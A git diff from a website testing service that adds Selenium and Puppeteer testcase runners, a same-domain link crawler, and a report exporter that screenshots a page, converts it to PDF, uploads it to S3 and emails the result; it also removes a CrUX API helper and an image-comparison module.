image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # returning image url + return image_url + + - async def run(self): + def run_s(self) -> None: + """ + Runs the self.testcase using selenium as the driver - print(f'beginging testcase for {self.site_url} \ + Returns -> None + """ + + print(f'beginning testcase for {self.site_url} \ using case {self.case_name}') # initate driver - self.driver = await driver_init() + self.driver = driver_s_init( + window_size=self.configs['window_size'], + device=self.configs['device'] + ) + + # setting implict wait_time for driver + self.driver.implicitly_wait(self.configs['max_wait_time']) + + i = 0 + for step in self.steps: + print(f'-- running step #{i+1} --') + + # adding catch if nav is not first + if i == 0 and step['action']['type'] != 'navigate': + print(f'navigating to {self.site_url} before first step') + # using selenium, navigate to site root path & wait for page to load + self.driver.get(f'{self.site_url}') + time.sleep(int(self.configs['min_wait_time'])) + + if step['action']['type'] == 'navigate': + exception = None + passed = True + self.update_testcase_s( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'navigating to {self.site_url}{step["action"]["path"]}') + # using selenium, navigate to requested path & wait for page to load + driver_wait( + driver=self.driver, + interval=int(self.configs.get('interval', 5)), + min_wait_time=int(self.configs.get('min_wait_time', 10)), + max_wait_time=int(self.configs.get('max_wait_time', 30)), + ) + self.driver.get(f'{self.site_url}{step["action"]["path"]}') + time.sleep(int(self.configs['min_wait_time'])) + image = self.save_screenshot_s() + + except Exception as e: + image = self.save_screenshot_s() + exception = e + passed = False + + self.update_testcase_s( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + if step['action']['type'] == 'click': + exception = None + passed = True + self.update_testcase_s( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'clicking element -> {step["action"]["element"]}') + # using selenium, find and click on the 'element' + selector = self.format_element_s(step["action"]["element"]) + + # scrolling to element using plain JavaScript + element = self.driver.find_element(By.CSS_SELECTOR, selector) + element.click() + time.sleep(int(self.configs['min_wait_time'])) + image = self.save_screenshot_s() + + except Exception as e: + image = self.save_screenshot_s() + exception = e + passed = False + + self.update_testcase_s( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + if step['action']['type'] == 'change': + exception = None + passed = True + self.update_testcase_s( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'changing element to value -> {step["action"]["value"]}') + # using selenium, find and click on the 'element' + selector = self.format_element_s(step["action"]["element"]) + + element = self.driver.find_element(By.CSS_SELECTOR, selector) + # changing value of element + value = step["action"]["value"] + element.send_keys(value) + time.sleep(int(self.configs['min_wait_time'])) + image = self.save_screenshot_s() + + except Exception as e: + image = self.save_screenshot_s() + exception = e + passed = False + + self.update_testcase_s( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + if step['action']['type'] == 'keyDown': + exception = None + passed = True + self.update_testcase_s( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'keyDown action for key -> {step["action"]["key"]}') + # getting last known element + n = (i - 1) + elm = None + while True: + elm = self.steps[n]['action']['element'] + if elm != None and len(elm) != 0: + break + n -= 1 + selector = self.format_element_s(elm) + + # using selenium, press the selected key + element = self.driver.find_element(By.CSS_SELECTOR, selector) + element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"])) + time.sleep(int(self.configs['min_wait_time'])) + image = self.save_screenshot_s() + + except Exception as e: + image = self.save_screenshot_s() + exception = e + passed = False + + self.update_testcase_s( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + if step['assertion']['type'] == 'match': + exception = None + passed = True + self.update_testcase_s( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}') + # using selenium, find elememt and assert if element.text == assertion.text + selector = self.format_element_s(step["action"]["element"]) + + # scrolling to element using plain JavaScript + element = self.driver.find_element(By.CSS_SELECTOR, selector) + elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent') + elementText = elementText.strip() + print(f'elementText => {elementText}') + print(f'value => {step["assertion"]["value"]}') + assert elementText == step["assertion"]["value"] + image = self.save_screenshot_s() + + except Exception as e: + image = self.save_screenshot_s() + exception = e + passed = False + + self.update_testcase_s( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + if step['assertion']['type'] == 'exists': + exception = None + passed = True + self.update_testcase_s( + index=i, type='assertion', + start_time=datetime.now() + ) + + try: + print(f'asserting that element -> {step["assertion"]["element"]} exists') + # using puppeteer, find elememt and assert it exists + selector = self.format_element_s(step["action"]["element"]) + + # scrolling to element using plain JavaScript + self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') + element = self.driver.find_element(By.CSS_SELECTOR, selector) + image = self.save_screenshot_s() + + except Exception as e: + image = self.save_screenshot_s() + exception = e + passed = False + + self.update_testcase_s( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + i += 1 + + self.update_testcase_s( + time_completed=datetime.now() + ) + quit_driver(driver=self.driver) + print('-- testcase run complete --') + + return None + + + + + async def run_p(self) -> None: + """ + Runs the self.testcase using pupeteer as the driver + + Returns -> None + """ + + print(f'beginning testcase for {self.site_url} \ + using case {self.case_name}') + + # initate driver + self.driver = await driver_p_init() # init page obj self.page = await self.driver.newPage() @@ -150,12 +537,17 @@ async def run(self): i = 0 for step in self.steps: print(f'-- running step #{i+1} --') - # print(f'step contents: {step}') + + # adding catch if nav is not first + if i == 0 and step['action']['type'] != 'navigate': + print(f'navigating to {self.site_url} before first step') + # using puppeteer, navigate to site root path & wait for page to load + await self.page.goto(f'{self.site_url}', self.page_options) + time.sleep(int(self.configs['min_wait_time'])) if step['action']['type'] == 'navigate': exception = None passed = True - image = None await self.update_testcase( index=i, type='action', start_time=datetime.now() @@ -166,6 +558,7 @@ async def run(self): # using puppeteer, navigate to requested path & wait for page to load await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options) time.sleep(int(self.configs['min_wait_time'])) + image = await self.save_screenshot(page=self.page) except Exception as e: image = await self.save_screenshot(page=self.page) @@ -181,12 +574,9 @@ async def run(self): image=image ) - - if step['action']['type'] == 'click': exception = None passed = True - image = None await self.update_testcase( index=i, type='action', start_time=datetime.now() @@ -196,12 +586,13 @@ async def run(self): print(f'clicking element -> {step["action"]["element"]}') # using puppeteer, find and click on the 'element' selector = await self.format_element(step["action"]["element"]) - await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) # scrolling to element using plain JavaScript - await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') + await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') element = await self.page.J(selector) await element.click() time.sleep(int(self.configs['min_wait_time'])) + image = await self.save_screenshot(page=self.page) except Exception as e: image = await self.save_screenshot(page=self.page) @@ -216,11 +607,9 @@ async def run(self): image=image ) - if step['action']['type'] == 'change': exception = None passed = True - image = None await self.update_testcase( index=i, type='action', start_time=datetime.now() @@ -233,11 +622,12 @@ async def run(self): selector = await self.format_element(step["action"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) # scrolling to element using plain JavaScript - await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') + await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') element = await self.page.J(selector) await element.click(clickCount=3) await self.page.keyboard.type(step["action"]["value"]) time.sleep(int(self.configs['min_wait_time'])) + image = await self.save_screenshot(page=self.page) except Exception as e: image = await self.save_screenshot(page=self.page) @@ -252,11 +642,9 @@ async def run(self): image=image ) - if step['action']['type'] == 'keyDown': exception = None passed = True - image = None await self.update_testcase( index=i, type='action', start_time=datetime.now() @@ -267,6 +655,7 @@ async def run(self): # using puppeteer, press the selected key await self.page.keyboard.press(step['action']['key']) time.sleep(int(self.configs['min_wait_time'])) + image = await self.save_screenshot(page=self.page) except Exception as e: image = await self.save_screenshot(page=self.page) @@ -280,14 +669,10 @@ async def run(self): exception=exception, image=image ) - - - if step['assertion']['type'] == 'match': exception = None passed = True - image = None await self.update_testcase( index=i, type='assertion', start_time=datetime.now() @@ -299,12 +684,13 @@ async def run(self): selector = await self.format_element(step["assertion"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) # scrolling to element using plain JavaScript - await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') - elementText = await self.page.evaluate(f'document.querySelector({selector}).textContent') + await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()') + elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent') elementText = elementText.strip() print(f'elementText => {elementText}') print(f'value => {step["assertion"]["value"]}') assert elementText == step["assertion"]["value"] + image = await self.save_screenshot(page=self.page) except Exception as e: image = await self.save_screenshot(page=self.page) @@ -319,11 +705,9 @@ async def run(self): image=image ) - if step['assertion']['type'] == 'exists': exception = None passed = True - image = None await self.update_testcase( index=i, type='assertion', start_time=datetime.now() @@ -335,6 +719,7 @@ async def run(self): selector = await self.format_element(step["assertion"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) await self.page.J(selector) + image = await self.save_screenshot(page=self.page) except Exception as e: image = await self.save_screenshot(page=self.page) @@ -354,4 +739,13 @@ async def run(self): time_completed=datetime.now() ) await self.driver.close() - print('-- testcase run complete --') \ No newline at end of file + print('-- testcase run complete --') + + return None + + + + + + + \ No newline at end of file diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py new file mode 100644 index 00000000..f13c6b8a --- /dev/null +++ b/app/api/utils/crawler.py @@ -0,0 +1,123 @@ +import requests +from bs4 import BeautifulSoup +from .driver_s import * + + + + + + +class Crawler(): + """ + Crawl the passed "site" for pages, stoping + once 'max_urls' is reached. + + Expects: { + 'url' : str, + 'sitemap' : str, + 'start_url' : str, + 'max_urls' : int, + } + + Use `Crawler.get_links()` initiate a new crawl + + Returns -> list + """ + + + + def __init__(self, url: str=None, sitemap: str=None, max_urls: int=25): + self.url = url + self.sitemap = sitemap + self.max_urls = max_urls + self.driver = driver_init() + + + + + def get_links(self) -> list: + # crawl self.url and record any found links + # which are within the same self.url domain + + follow_urls = [] + crawled_urls = [self.url,] + + def url_is_valid(url: str=None) -> bool: + # checks if the passed url is + # a valid url to follow and + # not a file or external redirect + + bad_str_list = ['cdn-cgi'] + bad_end_list = [ + '.png', '.jpg', '.pdf', '.jpeg', + '.json', '.doc', '.svg', '.ppt', + '.pptx', '.ods', '.docx', '.mp3', + '.mp4', '.wma', '.ogg', '.mpa', + '.wpl', '.zip', '.pkg', '.tar.gz', + '.deb', '.z', '.rpm', '.7z', '.bin', + '.dmg', '.iso', '.toast', '.vcd', + '.csv', 'xml', '.db', '.dbf', '.dat', + '.log', '.mdb', '.sql', '.tar', '.sav', + '.webp', '.tiff', '.tif', '.psd', '.ps', + '.ico', '.gif', '.bmp' + ] + if not url.startswith(self.url) and not url.startswith('/'): + return False + for bad_str in bad_str_list: + if bad_str in url: + return False + for bad_end in bad_end_list: + if url.endswith(bad_end): + return False + return True + + + def add_urls(start_url): + self.driver.get(start_url) + + # wait for page to load + driver_wait( + driver=self.driver, + max_wait_time=20, + interval=2 + ) + + # parsing page_source + soup = BeautifulSoup(self.driver.page_source, 'html.parser') + + # iterating through all tags + for link in soup.find_all('a'): + url = link.get('href') + if url is not None: + # validate url + if url_is_valid(url): + if url.startswith('/'): + url = self.url + url + # check status of page + req_status = requests.get(url).status_code + bad_status = [404, 500, 301] + if not (req_status in bad_status): + if url.endswith('/'): + url = url.rstrip('/') + if not (url in follow_urls): + follow_urls.append(url) + + # layer 0 + add_urls(self.url) + + # iterate through layers + while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls): + for url in follow_urls: + if not url in crawled_urls: + crawled_urls.append(url) + print(url) + add_urls(url) + if len(crawled_urls) >= self.max_urls: + print('max pages reached') + break + + # quit driver and return + quit_driver(self.driver) + return crawled_urls + + diff --git a/app/api/utils/crux.py b/app/api/utils/crux.py deleted file mode 100644 index 73601c4e..00000000 --- a/app/api/utils/crux.py +++ /dev/null @@ -1,36 +0,0 @@ -import requests, os, json - - - -class Crux(): - - def __init__(self, site_url): - self.site_url = site_url - self.key = os.environ.get('GOOGLE_CRUX_KEY') - - - def get_data(self): - - url = f'https://chromeuxreport.googleapis.com/v1/records:queryRecord?key={self.key}' - headers = { - "Content-Type": "application/json", - } - data = { - "origin": str(self.site_url), - } - - res = requests.post( - url=url, - headers=headers, - data=json.dumps(data) - ) - - response = res.json() - - if res.status_code != 200: - response = { - "status": "failed", - "message": "This site_url does not have enough historical data in the CRUX API to respond with." - } - - return response diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js index cae0befc..a51b1005 100644 --- a/app/api/utils/custom-config.js +++ b/app/api/utils/custom-config.js @@ -1,7 +1,4 @@ // custom configurations for Lighthouse CLI - - - module.exports = { extends: 'lighthouse:default', plugins: ['lighthouse-plugin-crux'], diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py index c9ccce82..e0cd8c0b 100644 --- a/app/api/utils/driver_p.py +++ b/app/api/utils/driver_p.py @@ -1,29 +1,46 @@ from pyppeteer import launch -import time, os, numpy, json, sys, datetime, asyncio +from scanerr import settings +import time, os, sys, datetime -async def driver_init( - window_size='1920,1080', - wait_time=30, - ): + + +async def driver_init(window_size: str='1920,1080', wait_time: int=30) -> object: + """ + Starts a new puppeteer driver instance + + Expects: { + 'window_size' : str, + 'wait_time' : int + } + + Returns -> driver object + """ + + # parsing window sizes sizes = window_size.split(',') + # setting browser options options = { - 'executablePath': os.environ.get('CHROMIUM'), + 'executablePath': os.environ.get('CHROME_BROWSER'), 'args': [ '--no-sandbox', '--disable-dev-shm-usage', + '--force-device-scale-factor=0.5', + 'ignore-certificate-errors', + '--hide-scrollbars', f'--window-size={window_size}', ], 'defaultViewport': { 'width': int(sizes[0]), 'height': int(sizes[1]), }, - 'timeout': wait_time * 1000 + # 'timeout': wait_time * 1000 } + # launching driver driver = await launch( options=options, headless=True, @@ -32,28 +49,65 @@ async def driver_init( handleSIGHUP=False ) + # return driver return driver - -async def interact_with_page(page): +async def interact_with_page(page: object=None) -> object: # simulate mouse movement + # and returns the page object await page.mouse.move(0, 0) - await page.mouse.move(0, 100) - + await page.mouse.move(0, 50) return page +async def wait_for_page(page: object=None, max_wait_time: int=30) -> object: + """ + Expects the puppeteer page instance and waits + for either the page to fully load or the max_wait_time + to expire before returning. + + Expects: { + 'page' : object, + 'max_wait_time' : int + } + + Returns -> page + """ + print(f'waiting for page load or {str(max_wait_time)} seconds') -async def driver_test(*args, **options): + timeout = 0 + page_state = 'loading' + + while int(timeout) < int(max_wait_time) and page_state != 'complete': + page_state = await page.evaluate('document.readyState') + print(f'document state is {page_state}') + time.sleep(1) + timeout += 1 + + return page + + + + +async def driver_test() -> None: + """ + Spins up a puppeteer driver instance and + tests to ensure it can access the browser and internet + + Returns -> None + """ print("Testing puppeteer instalation and integration...") + message = 'Puppeteer was unable to start\n\n' + status = 'Failed' + # testing puppeteer try: driver = await driver_init() page = await driver.newPage() @@ -63,49 +117,73 @@ async def driver_test(*args, **options): assert title == 'Google' if title == 'Google': status = 'Success' - else: - status = 'Failed' - await driver.close() + message = 'Puppeteer installed and working \N{check mark} \n' + + # log exception except Exception as e: print(e) - status = 'Failed' - sys.stdout.write('--- ' + status + ' ---\n' - + 'Puppeteer installed and working \N{check mark} \n' - ) + # logging test results + sys.stdout.write( + '--- ' + status + ' ---\n'+ message + ) + + # quiting driver + try: + await driver.close() + except: + pass + + return None +async def get_data(url: str=None, configs: dict=None) -> dict: + """ + Using the puppeteer driver, navigates to the passed + 'url' and records the page source and any + present console errors & warnings + Expects: { + url : str, + configs : dict + } + + Returns -> data: { + 'html' : str, + 'logs' : dict, + } + """ -async def get_data(url, configs, *args, **options): + # initing the driver sizes = configs['window_size'].split(',') driver = await driver_init(window_size=configs['window_size']) page = await driver.newPage() + # setting driver configs page_options = { 'waitUntil': 'networkidle0', - 'timeout': configs['max_wait_time']*1000 + # 'timeout': configs['max_wait_time']*1000 } viewport = { 'width': int(sizes[0]), 'height': int(sizes[1]), } - userAgent = ( "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4812.0 Safari/537.36" + (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36" ) - await page.setViewport(viewport) - if configs['device'] == 'mobile': await page.setUserAgent(userAgent) - + # defining logs logs = [] + def record_logs(log): + # helper method to record console + # logs in the issues tab if log.type == 'error': if '.js' in log.text: source = 'javascript' @@ -136,6 +214,8 @@ def record_logs(log): logs.append(log_obj) def record_network(request): + # helper method to record console + # network issues in the issues tab log_obj = { "level": "SEVERE", "source": "network", @@ -145,6 +225,8 @@ def record_network(request): logs.append(log_obj) def record_error(error): + # helper method to record console + # page errors in the issues tab err = str(error).split(' at ')[0] log_obj = { "level": "SEVERE", @@ -154,22 +236,28 @@ def record_error(error): } logs.append(log_obj) - + # getting console logs, warnings, and errors page.on('console', lambda log : record_logs(log)) page.on('requestfailed', lambda request : record_network(request)) page.on('pageerror', lambda error : record_error(error)) + # navigate to requested url await page.goto(url, page_options) # await page.waitForNavigation(navWaitOpt) + await wait_for_page(page=page) await interact_with_page(page) html = await page.content() + # quitting driver await driver.close() - + + # returning data data = { 'html': html, 'logs': logs, } - return data \ No newline at end of file + return data + + diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py index 582c3b0e..25447de8 100644 --- a/app/api/utils/driver_s.py +++ b/app/api/utils/driver_s.py @@ -1,63 +1,101 @@ from selenium import webdriver -from selenium.webdriver.common.desired_capabilities import DesiredCapabilities -from selenium.webdriver import ActionChains -import time, os, numpy, json, sys +from selenium.webdriver.common.actions.action_builder import ActionBuilder +import time, os, sys + + + def driver_init( - window_size='1920,1080', - device='desktop', - script_timeout=30, - load_timeout=30, - wait_time=15, - ): + window_size: str='1920,1080', + device: str='desktop', + script_timeout: int=30, + load_timeout: int=30, + wait_time: int=15, + pixel_ratio: int=1.0, + scale_factor: int=0.5 + ) -> object: + """ + Starts a new selenium driver instance + + Expects: { + 'window_size' : str, + 'device' : str, + 'script_timeout': int, + 'load_timeout' : int, + 'wait_time' : int, + 'pixel_ratio' : int, + 'scale_factor' : int + } + + Returns -> driver object + """ + # setting up browser configs sizes = window_size.split(',') - prefs = { 'download.prompt_for_download': False, 'download.extensions_to_open': '.zip', 'safebrowsing.enabled': True } - mobile_emulation = { - "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": 1.0 }, + "deviceMetrics": { + "width": int(sizes[0]), + "height": int(sizes[1]), + "pixelRatio": pixel_ratio + }, "userAgent": ( "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36" + (KHTML, like Gecko) Chrome/122.0.6261.119 Mobile Safari/537.36" ) } - chromedriver_path = os.environ.get("CHROMEDRIVER") + # setting browser options options = webdriver.ChromeOptions() - options.binary_location = os.environ.get('CHROMIUM') + options.binary_location = os.environ.get('CHROME_BROWSER') options.add_argument("--no-sandbox") options.add_argument("disable-blink-features=AutomationControlled") options.add_experimental_option('prefs',prefs) options.add_argument("start-maximized") options.add_argument("--headless") options.add_argument("--disable-dev-shm-usage") - options.add_argument("--window-size=%s" % window_size) - + options.add_argument("ignore-certificate-errors") + options.add_argument("--hide-scrollbars") + options.add_argument(f"--force-device-scale-factor={str(scale_factor)}") + options.add_argument(f"--window-size={window_size}") + options.set_capability("goog:loggingPrefs", {'performance': 'ALL'}) + options.page_load_strategy = 'none' + + # setting to mobile if reqeusted if device == 'mobile': options.add_experimental_option("mobileEmulation", mobile_emulation) - caps = DesiredCapabilities.CHROME - caps['goog:loggingPrefs'] = {'performance': 'ALL'} - - driver = webdriver.Chrome(executable_path=chromedriver_path, options=options, desired_capabilities=caps) - driver.set_page_load_timeout(load_timeout) - driver.set_script_timeout(script_timeout) - driver.implicitly_wait(wait_time) + # chromedriver_path = os.environ.get("CHROMEDRIVER") + # service = webdriver.ChromeService(executable_path=chromedriver_path) + driver = webdriver.Chrome(options=options) + # driver.set_page_load_timeout(load_timeout) + # driver.set_script_timeout(script_timeout) + # driver.implicitly_wait(wait_time) - return driver -def driver_test(): + + +def driver_test() -> None: + """ + Spins up a selenium driver instance and + tests to ensure it can access the browser and internet + + Returns -> None + """ print("Testing selenium instalation and integration...") + message = 'Selenium was unable to start\n\n' + status = 'Failed' + + # testing selenium try: driver = driver_init() driver.get('https://google.com') @@ -65,88 +103,138 @@ def driver_test(): assert title == 'Google' if title == 'Google': status = 'Success' - else: - status = 'Failed' + message = 'Selenium installed and working \N{check mark} \n\n' + # log exception except Exception as e: print(e) - status = 'Failed' - - sys.stdout.write('--- ' + status + ' ---\n' - + 'Selenium installed and working \N{check mark} \n' - ) + + # logging test results + sys.stdout.write( + '--- ' + status + ' ---\n'+ message + ) + + try: + quit_driver(driver) + sys.exit(0) + except: + pass + + return None - quit_driver(driver) - sys.exit(0) -def driver_wait(driver, interval=5, max_wait_time=30, min_wait_time=5): +def driver_wait( + driver: object, + interval: int=1, + max_wait_time: int=30, + min_wait_time: int=3 + ) -> object: """ - Pauses the driver until all network requests have been resolved - - --> Adding mouse interaction to load WP plugin rendered content + Expects the driver instance and waits + for either the page to fully load or the max_wait_time + to expire before returning. + + Expects: { + 'driver' : object, + 'interval' : int, + 'max_wait_time' : int, + 'min_wait_time' : int + } - returns once driver determines that all request have resolved or - total wait time exceeds max_wait_time - + Returns -> driver object """ - def get_request_list(driver): - # get current snapshot of driver requests - requests = driver.get_log('performance') - r_list = [] - for r in requests: - network_log = json.loads(r["message"])["message"] - - # Checks if the current 'method' key has any Network related value. - if("Network.response" in network_log["method"] - or "Network.request" in network_log["method"] - or "Network.webSocket" in network_log["method"]): - - r_list.append(network_log) - - return r_list - - def interact_with_page(driver): - # simulate mouse movement and click on tag - html_tag = driver.find_elements_by_tag_name('html')[0] - action = ActionChains(driver) - action.move_to_element(html_tag).perform() + # simulate mouse movement + action = ActionBuilder(driver) + action.pointer_action.move_to_location(0, 0) + action.perform() + # wait for 1s + time.sleep(1) + action.pointer_action.move_to_location(0, 50) + action.perform() return resolved = False + page_state = 'loading' wait_time = 0 - # actions before comparing network logs - interact_with_page(driver) + # min_wait_time before checking page status time.sleep(min_wait_time) - while not resolved and wait_time < max_wait_time: - # get first set of logs - list_one = get_request_list(driver=driver) - - # wait 5 sec or sec for request to resolve + while int(wait_time) < int(max_wait_time) and page_state != 'complete': + # wait 1 sec or sec time.sleep(interval) - - # get second set of logs - list_two = get_request_list(driver=driver) - - # check if logs are equal - resolved = numpy.array_equal(list_one, list_two) + + page_state = driver.execute_script('return document.readyState') + print(f'document state is {page_state}') wait_time += interval + + # interacting with page once available + interact_with_page(driver) + + return None - return +def get_data( + driver: object, + interval: int=1, + max_wait_time: int=30, + min_wait_time: int=3 + ) -> dict: + """ + Once the page has loaded, grabs the + page-source (html) and console-logs (logs). + + Expects: { + 'driver' : object, + 'interval' : int, + 'max_wait_time' : int, + 'min_wait_time' : int + } -def quit_driver(driver): - ''' + Returns -> data = { + 'html' : str, + 'logs' : dict + } + """ + + # setting defaults + html = None + logs = None + + # waiting for page to load + driver_wait(driver=driver) + + # get data from browser + try: + html = driver.page_source + logs = driver.get_log('browser') + except Exception as e: + print(e) + + # formatting respones + data = { + "html": html, + "logs": logs + } + + return data + + + + +def quit_driver(driver: object) -> None: + """ Quits and reaps all child processes in docker - ''' + + Returns -> None + """ print('Quitting session: %s' % driver.session_id) driver.quit() try: @@ -154,14 +242,15 @@ def quit_driver(driver): while pid: pid = os.waitpid(-1, os.WNOHANG) print("Reaped child: %s" % str(pid)) - # avoid infinite loop cause pid value -> (0, 0) try: if pid[0] == 0: pid = False except: pass + except ChildProcessError: + pass - except ChildProcessError: - pass \ No newline at end of file + + \ No newline at end of file diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py new file mode 100644 index 00000000..d7145f27 --- /dev/null +++ b/app/api/utils/exporter.py @@ -0,0 +1,123 @@ +from .driver_s import driver_init, driver_wait, quit_driver +from PIL import Image as I +from .alerts import sendgrid_email +from scanerr import settings +import time, boto3, os + + + + + + +# setting up s3 client +s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) +) + + +def create_and_send_report_export(report_id: id, email: str, first_name: str) -> dict: + """ + Takes a screenshot of the `landing.report`, + save as a PDF, upload to s3 bucket, and then + send an email to the prospect that requested it. + + Expects the following: + 'report_id' : id of report/page being reported on + 'email' : str prospect's email address + 'first_name' : str prospect's first name + + Returns -> data { + 'success' : bool if process started successfully + 'error' : str any error msg from Scanerr server + } + """ + + # init driver + driver = driver_init(scale_factor=1) + + # nav to report page + driver.get(f'{settings.LANDING_API_ROOT}/report/{report_id}') + time.sleep(5) + + # setting screensize + full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;") + driver.set_window_size(1512, int(full_page_height)) + + # taking screenshot + driver.save_screenshot(f'{report_id}.png') + + # quitting driver + quit_driver(driver) + + # setting up paths + image = os.path.join(settings.BASE_DIR, f'{report_id}.png') + pdf = os.path.join(settings.BASE_DIR, f'{report_id}.pdf') + + # resizing image to remove excess | expected height => 2353 + img = I.open(image) + width, height = img.size + left = 0 + top = 85 + right = width + bottom = height - (330) + new_img_1 = img.crop((left, top, right, bottom)) + new_img_1.save(image, quality=95) + + # convert to pdf + img = I.open(image) + new_img_2 = img.convert('RGB') + new_img_2.save(pdf, quality=95) + + # uploading to s3 + remote_path = f'static/landing/reports/{report_id}.pdf' + report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}' + + # upload to s3 + with open(pdf, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'} + ) + + # removing local copies + os.remove(image) + os.remove(pdf) + + # setting up email to prospect + pre_content = 'The Scanerr performance report you requested has finished processing. \ + Now, just click the link below to view and download the PDF.' + content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://scanerr.io/booking' + subject = f'{first_name}, your Scanerr Report is Ready' + title = f'{first_name}, your Scanerr Report is Ready' + pre_header = f'{first_name}, your Scanerr Report is Ready' + button_text = 'View Your Report' + email = email + object_url = report_url + signature = f'- Landon R | CEO @Scanerr' + greeting = f'Hi {first_name},' + + message_obj = { + 'pre_content': pre_content, + 'content': content, + 'subject': subject, + 'title': title, + 'pre_header': pre_header, + 'button_text': button_text, + 'email': email, + 'object_url': object_url, + 'signature': signature, + 'greeting': greeting + } + + # sending email to prospect + data = sendgrid_email(message_obj) + + # returning data + return data + + + + + diff --git a/app/api/utils/image.py b/app/api/utils/image.py deleted file mode 100644 index a6f88768..00000000 --- a/app/api/utils/image.py +++ /dev/null @@ -1,1163 +0,0 @@ -from .driver_s import driver_init, driver_wait, quit_driver -from .driver_p import driver_init as driver_init_p -from selenium import webdriver -from ..models import Site, Scan, Test, Mask -from selenium.webdriver.chrome.options import Options -from django.forms.models import model_to_dict -from django.core.serializers.json import DjangoJSONEncoder -from sewar.full_ref import uqi, mse, ssim, msssim, psnr, ergas, vifp, rase, sam, scc -from scanerr import settings -from PIL import Image as I, ImageChops, ImageStat -from pyppeteer import launch -from datetime import datetime -from asgiref.sync import sync_to_async -import time, os, sys, json, uuid, boto3, \ - statistics, shutil, numpy, cv2 - - - - - -class Image(): - """ - High level Image handler used to compare screenshots of - a website and retrieve single one-page screenshots. - Also known as VRT or Visual Regression Testing. - Contains five methods scan(), scan_p(), test(), - screenshot(), and screenshot_p(). The _p appendage - denotes using Puppeteer as the webdriver: - - def scan(site, driver=None) -> grabs multiple - screenshots of the website and uploads - them to s3. - - - def test(test=) -> compares each - screenshot in the two scans and records - a score out of 100% - - - def screeshot(site, driver=None) -> grabs single - screenshot of the site and uploads it to s3 - - """ - - - def __init__(self): - - # scripts - self.set_jquery = ( - """ - var jq = document.createElement('script'); - jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"; - document.getElementsByTagName('head')[0].appendChild(jq); - """ - ) - - - self.mask_function = ( - """ - (function($){ - $.fn.overlayMask = function (action) { - var mask = this.find('.overlay-mask'); - - // Create the required mask - - if (!mask.length) { - this.css({ - position: 'relative' - }); - mask = $(''); - mask.css({ - position: 'absolute', - width: '100%', - height: '100%', - color: 'green', - backgroundColor: 'green', - top: '0px', - left: '0px', - zIndex: 100, - }).appendTo(this); - } - - // Act based on params - - if (!action || action === 'show') { - mask.show(); - } else if (action === 'hide') { - mask.hide(); - } - - return this; - }; - })(jQuery) - - """ - ) - - - - - def check_timeout(self, timeout, start_time): - """ - Checks to see if the current time exceedes the alotted timeout. - - returns -> True if timeout exceeded - """ - - current = datetime.now() - diff = current - start_time - if diff.total_seconds() >= timeout: - print('exceeded timeout') - return True - else: - return False - - - - - def scan(self, site, configs, driver=None,): - """ - Grabs multiple screenshots of the website and uploads - them to s3. 